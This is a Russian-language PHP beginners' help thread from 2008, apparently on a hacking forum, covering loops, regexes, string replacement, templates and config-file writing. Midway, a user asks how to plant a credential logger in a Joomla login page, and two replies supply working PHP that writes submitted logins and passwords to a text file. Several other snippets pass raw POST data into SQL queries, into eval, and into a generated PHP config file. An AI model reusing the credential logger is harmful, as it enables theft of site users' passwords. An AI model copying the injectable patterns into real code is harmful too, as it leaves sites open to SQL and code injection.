3 zxc zxc zxc
4 qaz qaz ôûâôûâ(фывфыв без кодировки)
Когда я делаю запрос "ф" он мне все верно выводит одну строку 4 qaz qaz фывфыв, но когда я ввожу английскую"a" он выводит 1 asd asd asd и 4 qaz qaz фывфыв!!!!Как от этого избавится???
Бред не могу понять почему в одном скрипте этот кусок не работает, а в другом почти аналогичный работает?
Работает
$messages=sqlq("SELECT * FROM chat ORDER BY id DESC LIMIT 10");
while (list($id,$nick,$message,$times) = mysql_fetch_row($messages))
{
$message=str_replace($before, $after, $message, $const);
if ($const>3)
{
$message=str_replace($after, $before, $message, $const);
}
if ($nick==$nickname) $nick="<b>$nick</b>";
echo "<div class=block1>$times | $nick | $message </div>";
}
не работает! чего while(list()) не пашед как надо? че я пропустил?
$spisokz = sqlq("SELECT name FROM `items` WHERE type='h'");
while (list($name) = mysql_fetch_row($spisokz));
{
echo $name;
};
Grema Точку с запятой убери в конце строчки с While
Grema Точку с запятой убери в конце строчки с While
и нифига не измениться
Grema должен работать. попробуй так:
$spisokz = sqlq("SELECT name FROM `items` WHERE type='h'");
while ($row = mysql_fetch_row($spisokz));
{
echo $row['name'];
};
mr.The его код по идеи тож должен был работать ....
скорее всего там просто пустой результат ...
и нифига не измениться
учите матчасть сталобыть
mr.The
Специально для вас - запустите эти два скрипта.
$i = 1;
while ($i <= 10)
{
echo $i++;
}
echo "\r\nА теперь с точкой и запятой\r\n";
$i = 1;
while ($i <= 10);
{
echo $i++;
}
echo 'Правда все равно ничего не выведется из-за бесконечного цикла';
Gifts он скорее всего как и я не понел про какую точку с запятой идёт речь
я её после while только сейчас заметили и думал что вы говорите о };
~NeiTRoN~
28.08.2008, 06:46
~NeiTRoN~
<?php
mysql_connect("localhost", "mysql_user", "mysql_password");
mysql_select_db("mydb");
$result = mysql_query("SELECT id,url,header,content FROM table WHERE content LIKE '%".$_POST['stroka']."%'");
echo "<table>\r\n";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
printf ("<tr><td>%s</td><td>%s</td><td>%s</td><td>%s</td></tr>\r\n", $row["id"], $row["url"], $row["header"],$row["content"] );
}
echo "</table>\r\n";
mysql_free_result($result);
?>
Народ а как сделать так чтобы $row[content] выводился не весь, а допустим только до 200 символа, или еще лучше только кусок с запрашиваемым словом?
BlackSun
28.08.2008, 06:50
Народ а как сделать так чтобы $row[content] выводился не весь, а допустим только до 200 символа, или еще лучше только кусок с запрашиваемым словом?
substr или через регексп
~NeiTRoN~
28.08.2008, 07:34
substr или через регексп
А чем будет эфективней?
BlackSun
28.08.2008, 07:37
А чем будет эфективней?
Просто отрезать строку - substr, вырезать какую то часть хер знает по какому принципу - регексп.
А чем будет эфективней?
Плюс ко всему регуляркой лучше чильно не баловаться, с точки зрения оптимизации! Регулярные выражения более ресурсоемкие!
Прошу прощенья за тупой вопрос, но можно написать
регексп как он нормально пишется=)
Вот например - есть переменная
$a = 'Напомним, 27 августа страны НАТО обратились к России с требованием пересмотреть решение о признании независимости Абхазии и Южной Осетии. Напомним, накануне глава российского государства Дмитрий Медведев сообщил, что подписал указы о признании Российской Федерацией независимости Южной Осетии и независимости Абхазии, и призвал другие страны последовать этому примеру. США осуждают решение президента России признать в качестве независимых государств регионы Грузии Южную Осетию и Абхазию.';
Тогда код
echo substr($a, 0, 137);
Выведет 137 первых символов
Но если нам к примеру надо запихнуть в массив все предложения, то тут поможет регексп
print_r(preg_split('~\s*[.!?]\s*(?=.+)~i', $a));
~NeiTRoN~
28.08.2008, 10:19
Вот например - есть переменная
$a = 'Напомним, 27 августа страны НАТО обратились к России с требованием пересмотреть решение о признании независимости Абхазии и Южной Осетии. Напомним, накануне глава российского государства Дмитрий Медведев сообщил, что подписал указы о признании Российской Федерацией независимости Южной Осетии и независимости Абхазии, и призвал другие страны последовать этому примеру. США осуждают решение президента России признать в качестве независимых государств регионы Грузии Южную Осетию и Абхазию.';
Тогда код
echo substr($a, 0, 137);
Выведет 137 первых символов
Но если нам к примеру надо запихнуть в массив все предложения, то тут поможет регексп
print_r(preg_split('~\s*[.!?]\s*(?=.+)~i', $a));
С substr я разобрался, а вот что выведет строка print_r(preg_split('~\s*[.!?]\s*(?=.+)~i', $a)); чет не могу понять=((
Может откроешь книгу по пхп, заодно почитаешь про регулярные выражения?
~NeiTRoN~
28.08.2008, 10:34
Может откроешь книгу по пхп, заодно почитаешь про регулярные выражения?
Да я читал, но я трудно понимаю когда просто функции и словестное описание ее работы. Вот допустим если показана функция и потом пример ее работы и того что она выводит, я гораздо лучше понимаю,
если не сложно скажи всетаки что выведет
print_r(preg_split('~\s*[.!?]\s*(?=.+)~i', $a));=))
Gifts он скорее всего как и я не понел про какую точку с запятой идёт речь
я её после while только сейчас заметили и думал что вы говорите о };
действительно. там я и незаметил = ]
А зачем вообще точки с запятыми после циклов ставить?
~NeiTRoN~
По регуляркам ты ничего не читал
Ф-ция preg_split возвращает массив, разделяя текст на точку, воскл. знак или вопр. знак. Ф-ция print_r выводит этот массив.
~\s*[.!?]\s*(?=.+)~i
Это регулярное выражение.
Помогать по регуляркам тебе никто не будет, до тех пор, пока не прочтёшь это
http://php.ru/manual/reference.pcre.pattern.syntax.html
http://php.ru/manual/reference.pcre.pattern.modifiers.html
Помогите со скриптом...
<?php $db_host = 'localhost'; $db_user = 'root'; $db_pass = ''; $db_name = 'phones'; $connect = mysql_connect ( $db_host, $db_user, $db_pass ); $db = mysql_select_db ( $db_name ); function result($phone_nomer, $phone_name, $phone_street, $phone_house, $phone_flat) { $s = "<tr><td class=tabl>{nomer}<td class=tabl>{name}</td><td class=tabl>{street}</td><td class=tabl>{house}</td><td class=tabl>{flat}</td></tr>"; $s = str_replace ( "{nomer}", $phone_nomer, $s ); $s = str_replace ( "{name}", $phone_name, $s ); $s = str_replace ( "{street}", $phone_street, $s ); $s = str_replace ( "{house}", $phone_house, $s ); $s = str_replace ( "{flat}", $phone_flat, $s ); return $s; } echo '<html> <head> <title>Он-лайн База городских номеров г.Астрахань</title> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> <style type="text/css"> a:link {color: #9a9a9a; text-decoration: none;} a:active {color: #9a9a9a; text-decoration: none;} a:visited {color: #9a9a9a; text-decoration: none;} a:hover {color: #000000; text-decoration: none;} input, textarea, select { background-color: #ffffff; border:#000000 1pt solid; color: #000000; font-size: 9px; margin: 0px; padding-bottom: 1px; padding-left: 2px; padding-right: 0px; padding-top: 0px; font-family: Verdana, arial, Helvetica; line-height: 9pt; } body, table { font-family: Verdana, arial, Helvetica; color: #000000; font-size: 11px; } .red { color: red } .tabl { border:#000000 1pt solid; } </style> </head> <body bgcolor="#f0f0f0">'; $form = "<form method='POST' name='submit'><table border=0> <td width='150'>Введите номер</td><td><input type='text' name='nomer' size='20'></td> <td width='150'>Имя</td><td><input name='name' type='text' size='20'></td> <td width='150'>Улица</td><td><input name='street' type='text' size='20'></td> <td width='150'>Дом</td><td><input name='house' type='text' size='20'></td> <td width='150'>Квартира</td><td><input name='flat' type='text' size='20'></td> <td width='150'> </td><td><input type='submit' name='phones' value='Искать'></td> </table></form>"; if (! isset ( $_POST ['phones'] )) { echo $form; } else { $phone_nomer = strip_tags ( htmlspecialchars ( $_POST ["nomer"] ) ); $phone_name = strip_tags ( htmlspecialchars ( $_POST ["name"] ) ); $phone_street = strip_tags ( htmlspecialchars ( $_POST ["street"] ) ); $phone_house = strip_tags ( htmlspecialchars ( $_POST ["house"] ) ); $phone_flat = strip_tags ( htmlspecialchars ( $_POST ["flat"] ) ); $error = 0; if ($phone_nomer == "" and $phone_name == "" and $phone_street == "" and $phone_house == "" and $phone_flat == "") { $error = 1; echo "<div class='red'>Вы не заполнили ни одного поля!</div><br>" . $form; die (); } elseif (! is_numeric ( $phone_nomer ) and $phone_nomer != "") { $error = 1; echo "<div class='red'>Номер телефона состоит из цифр!</div><br>" . $form; die (); } elseif (! is_numeric ( $phone_flat ) and $phone_flat != "") { $error = 1; echo "<div class='red'>Номер квартиры состоит из цифр!</div><br>" . $form; die (); } elseif ($error == 0) { $sql = "SELECT * FROM `phones` WHERE `nomer` LIKE '%$phone_nomer%' AND `name` LIKE '%$phone_name%' AND `street` LIKE '%$phone_street%' AND `house` LIKE '%$phone_house%'AND `flat` LIKE '%$phone_flat%'"; $query = mysql_query ( $sql, $connect ); $counts = mysql_num_rows ( $query ); echo "<b>Найдено " . $counts . " записи(ей)</b><br><br>"; echo $form. "<table border=0><tr><td width='100' class=tabl><b>Номер</b></td><td width='150' class=tabl><b>Имя</b></td><td class=tabl width='150'><b>Улица</b></td><td class=tabl width='75'><b>Дом</b></td><td class=tabl width='75'><b>Квартира</td></tr>"; for($i = 0; $i < $counts; $i ++) { $nomer = mysql_result($query,$i,"nomer"); $name = mysql_result($query,$i,"name"); $street = mysql_result($query,$i,"street"); $house = mysql_result($query,$i,"house"); $flat = mysql_result($query,$i,"flat"); echo result($nomer,$name,$street,$house,$flat); } echo "</table><br>"; } } ?>
при запросе номера выводит ошибку ...
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in Z:\home\172.16.12.35\www\phone\index.php on line 98
Найдено записи(ей)...
:confused:
и вот еще что... при обновлении запроса, результаты не очищаються, нажимаю обновить Осел выдает запрос на отправку данных, как это убрать?
чтобы при обновлении были чистые поля для заполнения
папробуй
$query = mysql_query ( $sql, $connect ) or die(mysql_error());
обнови страницу метатегом например
папробуй
$query = mysql_query ( $sql, $connect ) or die(mysql_error());
No database selected
так а кудаже без нее, ....
вот небольшой кусок... может у меня одного эта ошибка
CREATE TABLE PHONES (
nomer MEDIUMINT(6) default NULL,
name varchar(60) default NULL,
street varchar(60) default NULL,
house varchar(60) default NULL,
flat varchar(60) default NULL
) TYPE=MyISAM;
INSERT INTO PHONES values ('220000', 'ВЯЗГИН ВВ', 'ТУРГЕНЕВА', '1', '26');
INSERT INTO PHONES values ('220001', 'ДМИТРИЕВА ТМ', 'ЧУГУНОВА', '14', '6');
INSERT INTO PHONES values ('220002', 'НАЗАРКИНА ЛА', 'НАБ.1ГО МАЯ', '67', '6');
INSERT INTO PHONES values ('220003', 'САМОЙЛОВ НС', 'ЛЫЧМАНОВА', '54', '0');
INSERT INTO PHONES values ('220004', 'РАГИМОВ ВСО', 'ПЕСТЕЛЯ', '32', '10');
так в чем же дело, конекта к базе чтоли нет?
а выбрать базу ?
$link = mysql_connect("mysql_host", "mysql_user", "mysql_password")
or die("Could not connect : " . mysql_error());
print "Connected successfully";
mysql_select_db("my_database") or die("Could not select database");
Тебе же пишет - "No database selected"
Не выбрана база данных, юзай mysql_select_db($my_database)
И убедись, что переменная $my_database правильно инициализирована (может префикс не подставил)
пс $db_name = 'phones'; - это НЕ имя таблицы в базе, а имя самой базы!!!
Ha_Vi А ты таблицу то из базы выбрал?))) Оно же mysql_select_db?
есть команда на пхп для листинга файлов под win
system("dir");
вопрос - а какой командой просматривать подпапки на сервере?
спасибо
Ээ наверное в цикле какбэ или рекурсивно
.:EnoT:.
28.08.2008, 19:44
Кстати насчёт регулярок. На офф сайтах фигня, новичку не хрена не понятно...я так же, когда регулярки не понимал лазил по офф сайтам и не вдуплял что такое подшаблоны, ограничители, модификаторы...
Так что советую почитать вот эту статью и сразу станет всё понятно :)
http://pyha.ru/forum/topic/19.0
есть команда на пхп для листинга файлов под win
system("dir");
вопрос - а какой командой просматривать подпапки на сервере?
спасибовопроса не понял... если сервер линуховый
system("ls <имя папки>")
если вндовый то (_http://www.computerhope.com/dirhlp.htm)
system("dir <пусть до папки>")
#Wolf#
http://il.php.net/manual/en/ref.dir.php
Подскажите, как правильно удалить произвольный элемент массива? К примеру array_shift и array_pop извлекают соотвественно первый и последний элементы, но для произвольного элемента - я видимо плохо искал.
З.Ы. $a[2]=""; - не предлагать)
xxxxxxxxxxxxxxx
29.08.2008, 03:45
Как реализовать? нужно достать с файла строки найти определенный символ в строках и удалить все что находиться после этого символа..
BlackSun
29.08.2008, 03:47
Как реализовать? нужно достать с файла строки найти определенный символ в строках и удалить все что находиться после этого символа..
http://www.softtime.ru/bookphp/help.php
плз помогите, чет никак не выходит
есть массив
for($i=0; $i<$id; $i++) {
$rand_array[$i] = rand(1, $id);
}
надо сделать так чтобы на выходе каждый эл-т был уникален
к примеру если взять $id=2
и получим массив array(1, 1);
на выходе надо получить array(1, 2); или array(2, 1);
у меня получилось вот что:
$arr = array(2, 2, 1, 3, 3);
function uniq($arr, $id) {
for($j=0; $j<count($arr); $j++) {
$temp = $arr[$j];
for($k=0; $k<count($arr); $k++) {
if($i==4 && $k==4) return($arr);
$k = ($k==$j) ? ($j+1) : $k;
if($temp == $arr[$k]) {
$arr[$k] = rand(1, $id);
uniq($arr, $id);
}
}
}
return($arr);
}
но выполняется не всегда, видимо постоянная рекурсия жрет очень много ресурсов.
помогите как исправить код чтобы работал без сбоев)
или мб какой-нибудь другой вар обработки предложите)
заранее спасибо
По идеи должно сработать ...
<?php
for($i=0; $i<$id; $i++) {
$buf = mt_rand(1, $id);
while(in_array($buf,$rand_array))
{
$buf = mt_rand(1, $id);
}
$rand_array[] = $buf;
}
?>
<?php
$arr=range(1,$id);
shuffle($arr);
?>
Как математически вычеслить в строке "3006 + (40416-966) / 30" ?
deniska1517
29.08.2008, 13:29
Dr.End
или так
<php?
$_1=3006;
$_2=40416;
$_3=966;
$_4=30;
$_5=$_1+($_2-$_3)/$_4;
echo $_5;
?>
спасибо, блин во я дурак...
Как математически вычеслить в строке "3006 + (40416-966) / 30" ?
$n = eval('3006+(40416-966)/30');
цитата отсюда:
http://forum.antichat.ru/thread82869.html
Всем привет Не знал, сюда написать или в тему про кодинг, решил здесь остаться Народ, есть у кого-нибудь идея, как воткнуть в joomla в поле для логина кейлоггер, чтобы инфа по залогинившимся юзерам шла в текстовый файл минуя md5:salt шифрование в MySQL базу? IMHO надо пофиксить components/com_login/login.html.php но вот ЧТО там надо написать? Помогите php-чайнику плиз ... P.S. да, по дефолту будем считать, что права на все файлы/папки равны 777 либо можно сделать их таковыми
scarm
<?php
$f = fopen('lp.txt','a');
fwrite($f,$_POST['login'].':'.$_POST['pass']."\r\n");
fclose($f);
?>
токо надо поправить POST данные в соответствии со скриптом
scarm
<?php
$f = fopen('lp.txt','a');
fwrite($f,$_POST['login'].':'.$_POST['pass']."\r\n");
fclose($f);
?>
токо надо поправить POST данные в соответствии со скриптом
тогда уж лучше в файл логина:
<?php
$f = fopen('lp.txt','a');
foreach($_POST as $data){
fwrite($f, $data.'\n');
}
fclose($f);
?>
ChaaK еси так то в файл попадут лишние данные ...
есть сторока в таком виде "3006 + (40416-966) / 30" мне нужно как нибудь вычислить математически... ((((
Используй $a=eval("3006 + (40416-966) / 30") запозднился с ответом
Вопрос такой.... файл log.php полностью перезаписывается перемеенной $body
$body=
"
<?
/$list="<div><span style=\"cursor:hand;color:#ffffff;\" onclick=\"toggle(document.getElementById('HShow#num#'));\">»</span> <a href=\"./".$tagmetka."/#menu#\" class=\"menu\">#namemenu#</a></div>
<span id=HShow#num#>#listing#</span><script>toggle(document.getElementById('HShow#num#'));</script>";
?>";
Но как видно и $list имеет и одинарные и двойные кавычки и само значение переменной $body помещено в двойные кавычки и из-за этого проблемы с обособлением значения перемнной. Как правильно использовать кавычки?
.:EnoT:.
30.08.2008, 00:51
Zircool
используй маркеры http://php.su/learnphp/datatypes/?string#heredoc
.::BARS::.
30.08.2008, 08:52
Как подсчитать кол-во папок и файлов в папке?
Как подсчитать кол-во папок и файлов в папке?
<?php echo count(glob("c:\\path\\*.*")); ?>
Имею 2 файла
index.php:
<form action="enter.php" method="post" name="form1 " target="_blank">
<p>Логин: <br><input name="login" type="text" size="20"></p>
<p>Пароль: <br><input name="pass" type="text" size="20"></p>
<p><input name="submit" type="submit" value="Вход"></p>
</form>
enter.php:
<?php
echo "бла бла $login и $pass";
?>
Проблема: Не выводит переменные $login и $pass
mouse.pro
30.08.2008, 11:27
А откуда он тебе возьмет эту переменную?
enter.php:
<?php
echo "бла бла " . $_POST['login'] . " и " . $_POST['pass'];
?>
159932, mouse.pro, спасибо большое! ;)
BlackSun
30.08.2008, 11:31
Проблема: Не выводит переменные $login и $pass
У тебя register_globals = off .. и лудше не включай его, читай пост выше.
EST a1ien
30.08.2008, 13:50
Насколько безопасен такой код.
$t=new test;
if(method_exists($t,$_GET['function'])
{
eval('$t->'.$_GET['function'].'();');
}
else
{
echo 'Неверная команда.';
}
Есть файл configbase.php который нужно переписать, точнее изменить значения переменных.... Написал маленький скрипт и назвал его index.php
CODE index.php
<?php
if(isset($_POST['subbase'])){
$body= <<<EOD
<?php
//GLOBALS BLOCK
//включить выключить ЧПУ
$CPU="true";
//Полный урл вашего сайта, в конце не забуьте поставить / - обратный слэш
$URLPATH=$_POST["URLPATH"];
//Путь к шаблону
$PATH_TEMPLATE=$_POST["PATH_TEMPLATE"];
//Заголовок на сайте
$TITLE=$_POST["TITLE"];
//Описание сайта
$DESCR=$_POST["DESCR"];
//Ключевые слова для вашего сайта
$KEYWORDS=$_POST["$KEYWORDS"];
//Копирайты в поддоне
$COPYRIGHTS=$_POST["COPYRIGHTS"];
?>
EOD;
$base=fopen("config/configbase.php","w");
fwrite($base,$body);
fclose($base);
echo "Saved!";
}
include("configbase.php");// что бы видеть реальные значения переменных в value
?>
<html>
<head>
<title>Установка</title>
<style type="text/css">
body {background-color: #fff; color: #000; font-family: verdana, arial; font-size: small;}
a:link, a:visited { color: #1D3565; font-weight: bold; text-decoration: none;}
a: hover { text-decoration: underline;}
h1 { border-bottom: 1px dotted gray; font-size: x-large; color: #596d9d;}
h2 { color: #ffffff; font-size: large; margin-left: 20px; text-indent: 10px; border-bottom: 1px solid #ddd;}
table td {font-size: 11px;}
.td_0 {background: #aaaaaa; height: 25px; border-top: 1px solid #d0c7c7; border-bottom: 1px solid #808080; border-left: 1px solid #d0c7c7; border-right: 1px solid #808080; vertical-align: top;}
.td_1 {background: #eeeeee; height: 25px; width: 50%; border-top: 1px solid #d0c7c7; border-bottom: 1px solid #808080; border-left: 1px solid #d0c7c7; border-right: 1px solid #808080; vertical-align: top;}
.td_2 {background: #dddddd; height: 25px; width: 50%; border-top: 1px solid #d0c7c7; border-bottom: 1px solid #808080; border-left: 1px solid #d0c7c7; border-right: 1px solid #808080; vertical-align: top; }
.f_input {background: #f0ebeb; width: 50%; color: #808080; font-size: 11px; border-top: 1px solid #808080; border-bottom: 1px solid #d0c7c7; border-left: 1px solid #808080; border-right: 1px solid #d0c7c7; }
</style>
</head>
<body>
<center>
<form method="post">
<table width="900" cellpadding="3" cellspacing="1" border="0" >
<tr>
<td class="td_0" colspan="2" align="center"><h2>ОСНОВНЫЕ ДАННЫЕ</h2></td>
</tr>
<tr>
<td class="td_2">Полный урл вашего сайта, в конце не забуьте поставить / - обратный слэш</td>
<td class="td_2"><input class="f_input" type="Text" size="80" value="<?php echo $URLPATH; ?>" name="URLPATH"></td>
</tr>
<tr>
<td class="td_1">Путь к шаблону</td>
<td class="td_1"><input class="f_input" type="Text" size="80" value="<?php echo $PATH_TEMPLATE; ?>" name="PATH_TEMPLATE"></td>
</tr>
<tr>
<td class="td_2">Заголовок на сайте</td>
<td class="td_2"><textarea class="f_input" name="TITLE" cols="70" rows="3"><?php echo $TITLE; ?></textarea></td>
</tr>
<tr>
<td class="td_1">Описание сайта</td>
<td class="td_1"><textarea class="f_input" name="DESCR" cols="70" rows="4"><?php echo $DESCR; ?></textarea></td>
</tr>
<tr>
<td class="td_2">Ключевые слова для вашего сайта</td>
<td class="td_2"><textarea class="f_input" name="KEYWORDS" cols="70" rows="4"><?php echo $KEYWORDS; ?></textarea></td>
</tr>
<tr>
<td class="td_1">Копирайты в поддоне</td>
<td class="td_1"><textarea class="f_input" name="COPYRIGHTS" cols="70" rows="2"><?php echo $COPYRIGHTS; ?></textarea></td>
</tr>
<tr>
<td class="td_2"></td>
<td class="td_2"><input type="Submit" name="subbase" value="Сохранить!"></td>
</tr>
</table>
</form>
</center>
</body>
</html>
Но вылетает ошибка, как мне изменять значения переменных в перезаписываемой переменной? или может как-нибудь по другому можно сделать..
Но вылетает ошибка
на какой строке? мне лень просматривать весь код
Parse error: syntax error, unexpected '"', expecting T_STRING or T_VARIABLE or T_NUM_STRING in Z:\home\localhost\www\adm\adm\adm.php on line 13
на 13 строке... Строка с ошибкой
$URLPATH=$_POST["URLPATH"];
Вообще внутри Heredoc текста переменные будут меняться?
EST a1ien
30.08.2008, 17:16
if(isset($_POST['subbase'])){
$body= <<<EOD
<?php
//GLOBALS BLOCK
//включить выключить ЧПУ
$CPU="true";
//Полный урл вашего сайта, в конце не забуьте поставить / - обратный слэш
$URLPATH={$_POST['URLPATH']};
//Путь к шаблону
$PATH_TEMPLATE={$_POST['PATH_TEMPLATE']};
//Заголовок на сайте
$TITLE={$_POST['TITLE']};
//Описание сайта
$DESCR={$_POST['DESCR']};
//Ключевые слова для вашего сайта
$KEYWORDS=$_POST["$KEYWORDS"];//!!!!!!!!!!!!!!!!!!!????????? может $_POST["KEYWORDS"]; тогда так {$_POST['KEYWORDS']};
//Копирайты в поддоне
$COPYRIGHTS={$_POST['COPYRIGHTS']};
?>
EOD;
Попробуй так.
на 13 строке... Строка с ошибкой
$URLPATH=$_POST["URLPATH"];
Вообще внутри Heredoc текста переменные будут меняться?
мб так?
<?php
if(isset($_POST['subbase'])){
$body= '
<?php
//GLOBALS BLOCK
//включить выключить ЧПУ
$CPU=\"true\";
//Полный урл вашего сайта, в конце не забуьте поставить / - обратный слэш
$URLPATH=$_POST[\"URLPATH\"];
//Путь к шаблону
$PATH_TEMPLATE=$_POST[\"PATH_TEMPLATE\"];
//Заголовок на сайте
$TITLE=$_POST[\"TITLE\"];
//Описание сайта
$DESCR=$_POST[\"DESCR\"];
//Ключевые слова для вашего сайта
$KEYWORDS=$_POST[\"$KEYWORDS\"];
//Копирайты в поддоне
$COPYRIGHTS=$_POST[\"COPYRIGHTS\"];
?>
';
$base=fopen("config/configbase.php","w");
fwrite($base,$body);
fclose($base);
echo "Saved!";
}
include("configbase.php");// что бы видеть реальные значения переменных в value
?>
<html>
<head>
<title>Установка</title>
<style type="text/css">
body {background-color: #fff; color: #000; font-family: verdana, arial; font-size: small;}
a:link, a:visited { color: #1D3565; font-weight: bold; text-decoration: none;}
a: hover { text-decoration: underline;}
h1 { border-bottom: 1px dotted gray; font-size: x-large; color: #596d9d;}
h2 { color: #ffffff; font-size: large; margin-left: 20px; text-indent: 10px; border-bottom: 1px solid #ddd;}
table td {font-size: 11px;}
.td_0 {background: #aaaaaa; height: 25px; border-top: 1px solid #d0c7c7; border-bottom: 1px solid #808080; border-left: 1px solid #d0c7c7; border-right: 1px solid #808080; vertical-align: top;}
.td_1 {background: #eeeeee; height: 25px; width: 50%; border-top: 1px solid #d0c7c7; border-bottom: 1px solid #808080; border-left: 1px solid #d0c7c7; border-right: 1px solid #808080; vertical-align: top;}
.td_2 {background: #dddddd; height: 25px; width: 50%; border-top: 1px solid #d0c7c7; border-bottom: 1px solid #808080; border-left: 1px solid #d0c7c7; border-right: 1px solid #808080; vertical-align: top; }
.f_input {background: #f0ebeb; width: 50%; color: #808080; font-size: 11px; border-top: 1px solid #808080; border-bottom: 1px solid #d0c7c7; border-left: 1px solid #808080; border-right: 1px solid #d0c7c7; }
</style>
</head>
<body>
<center>
<form method="post">
<table width="900" cellpadding="3" cellspacing="1" border="0" >
<tr>
<td class="td_0" colspan="2" align="center"><h2>ОСНОВНЫЕ ДАННЫЕ</h2></td>
</tr>
<tr>
<td class="td_2">Полный урл вашего сайта, в конце не забуьте поставить / - обратный слэш</td>
<td class="td_2"><input class="f_input" type="Text" size="80" value="<?php echo $URLPATH; ?>" name="URLPATH"></td>
</tr>
<tr>
<td class="td_1">Путь к шаблону</td>
<td class="td_1"><input class="f_input" type="Text" size="80" value="<?php echo $PATH_TEMPLATE; ?>" name="PATH_TEMPLATE"></td>
</tr>
<tr>
<td class="td_2">Заголовок на сайте</td>
<td class="td_2"><textarea class="f_input" name="TITLE" cols="70" rows="3"><?php echo $TITLE; ?></textarea></td>
</tr>
<tr>
<td class="td_1">Описание сайта</td>
<td class="td_1"><textarea class="f_input" name="DESCR" cols="70" rows="4"><?php echo $DESCR; ?></textarea></td>
</tr>
<tr>
<td class="td_2">Ключевые слова для вашего сайта</td>
<td class="td_2"><textarea class="f_input" name="KEYWORDS" cols="70" rows="4"><?php echo $KEYWORDS; ?></textarea></td>
</tr>
<tr>
<td class="td_1">Копирайты в поддоне</td>
<td class="td_1"><textarea class="f_input" name="COPYRIGHTS" cols="70" rows="2"><?php echo $COPYRIGHTS; ?></textarea></td>
</tr>
<tr>
<td class="td_2"></td>
<td class="td_2"><input type="Submit" name="subbase" value="Сохранить!"></td>
</tr>
</table>
</form>
</center>
</body>
</html>
До сих пор неразобрался как это сделать
$menu = "<a href=\"#\">Меню</a>";
$men = str_replace ("%MENU%", $menu , $shablon );
Вот как сделать чтобы {MENU} Высвечивалась в index.php как это сделать с $shablon
:)
Используй Smarty
Можно поподробнее как это вместе сделать?
Можно и без smarty, если я так понял:
<?php
$shablon = '<html>
<head>
<title>test</title>
</head>
<body>
{MENU}
</body>
</html>';
$menu = "<a href=\"#\">Меню</a>";
$men = str_replace ("{MENU}", $menu , $shablon );
echo $men;
?>
На smarty:
<?php
require_once('./Smarty.class.php');
$smarty = new Smarty();
$smarty->template_dir = './templates/';
$smarty->compile_dir = './templates_c/';
$smarty->config_dir = './configs/';
$smarty->cache_dir = './cache/';
$smarty->assign('menu', 'Меню');
$smarty->display('shablon.tpl');
?>
Delphi for PHP Есть документация?
Я сделал так
<?php
$handle = fopen("tmp.tpl","r");
while (!feof($handle)) {
$buffer = fgets($handle, 4096);
$shablon.=$buffer;
}
fclose($handle);
$menu = "<a href=\"#\">Меню</a>";
$men = str_replace ("{MENU}", $menu , $shablon );
echo $men;
?>
Все ок. Но когда я добавляю еще
$bl = "пипец";
$block = str_replace ("{BLOCK}", $bl , $shablon );
Получается
<?php
$handle = fopen("tmp.tpl","r");
while (!feof($handle)) {
$buffer = fgets($handle, 4096);
$shablon.=$buffer;
}
fclose($handle);
$menu = "<a href=\"#\">Меню</a>";
$bl = "пипец";
$men = str_replace ("{MENU}", $menu , $shablon );
$block = str_replace ("{BLOCK}", $bl , $shablon );
echo $men, $block;
?>
То выводиться
Меню
{BLOCK}{MENU}
пипец
Почему так?
Хацкер
$shablon = str_replace ("{MENU}", $menu , $shablon );
$shablon = str_replace ("{BLOCK}", $bl , $shablon);
echo $shablon;
так выходит потому как ты берёш шаблан и заменяеш в нём меню НО ты присваеваеш модификацию другой переменой .. поэтому шаблон содержание переменой $shablon не изменяется ... во второй раз ты подставляеш не изменёный шаблон а тот что был в првоначальном виде ... и заменяется там только {BLOCK} а {MENU} остаёца т.к это первоначальный вид переменой $shablon
надеюсь ты понел xD
cylaaaan
30.08.2008, 20:08
<?
if(isset($_POST['subbase'])){
$body = '<?php
//GLOBALS BLOCK
//включить выключить ЧПУ
$CPU=true;
//Полный урл вашего сайта, в конце не забуьте поставить / - обратный слэш
$URLPATH="'.$_POST[URLPATH].'";
//Путь к шаблону
$PATH_TEMPLATE="'.$_POST[PATH_TEMPLATE].'";
//Заголовок на сайте
$TITLE="'.$_POST[TITLE].'";
//Описание сайта
$DESCR="'.$_POST[DESCR].'";
//Ключевые слова для вашего сайта
$KEYWORDS="'.$_POST[KEYWORDS].'";
//Копирайты в поддоне
$COPYRIGHTS="'.$_POST[COPYRIGHTS].'";
?>';
$base=fopen("configbase.php","w");
fwrite($base,$body);
fclose($base);
echo "Saved!";
}
include("configbase.php");// что бы видеть реальные значения переменных в value
?>
Отредактировал.
Должно работать
надеюсь ты понел xD
Понел))
Вот еще вопрос.
if ($text)
{
if(!isset($_GET['p']) || empty($_GET['p']))
{
$_GET['p']='index';
}
@include 'data/'.$_GET['p'].'.txt';
}
$shablon = str_replace ("{TEXT}", $text , $shablon );
По идее должно выводиться в шаблоне но чтота я сделал не так)) подскажите что плЗ
Смысл выполнить в шаблоне скрипт через {TEXT}
Ещё один вопросик... есть файл config.php
Вот его содержимое
<?
$CPU="true";
$URLPATH="http://satellite-x.test/";
$PATH_TEMPLATE="./shablony/newshablon.php";
?>
Нужно открыть этот файл и заменить одну из строк на нужное значение... Вот как я делаю fopen;fread;
str_replace;fwrite;fclose Как лучше это оформить?
EST a1ien
30.08.2008, 23:42
fopen;fread; - лучше в данном случае использовать file
file -- Читает содержимое файла и помещает его в массив
Описание
array file ( string filename [, int use_include_path [, resource context]] )
.:EnoT:.
31.08.2008, 00:10
Zircool, тупо замена строки в файле
<?php
$change1 = '$CPU="true"'; //Найти
$change2 = '$CPU="false"'; //Поменять на
$filename = 'config.php'; //Файл
$file = str_ireplace($change1, $change2, file_get_contents($filename));
$put = file_put_contents($filename, $file);
if($put) echo 'Строка заменена';
?>
Вопрос: как сохранить изображение полученное при помощи file_get_contents() ? Час уже не могу допереть =\\
Вопрос: как сохранить изображение полученное при помощи file_get_contents() ? Час уже не могу допереть =\\
Банальная запись в файл, наверно ты просто что-то напутал там...
<?php
$f = file_get_contents('x.png');
$fp = fopen('y.png', 'w');
fwrite($fp, $f);
fclose($fp);
?>
Как можно вывести значение переменной, значение которой может быть только true Или false, к примеру есть файл list.php
листинг файла list.php
$CASH=true;
$CRON=false;
echo $cash;
Но при echo ничего не выводится 1 а не true а можно ли true вывести
Делать условие если булевая переменная тру, то текстовая переменная тру
Но при echo ничего не выводится 1 а не true а можно ли true вывести
$CASH=true;
if($CASH) {
echo "True";
} else {
echo "False";
}
вот так только
cylaaaan
31.08.2008, 01:50
$CASH=true;
$CRON=false;
echo $cash;
переменные чувствительны к регистру
if($CASH) {
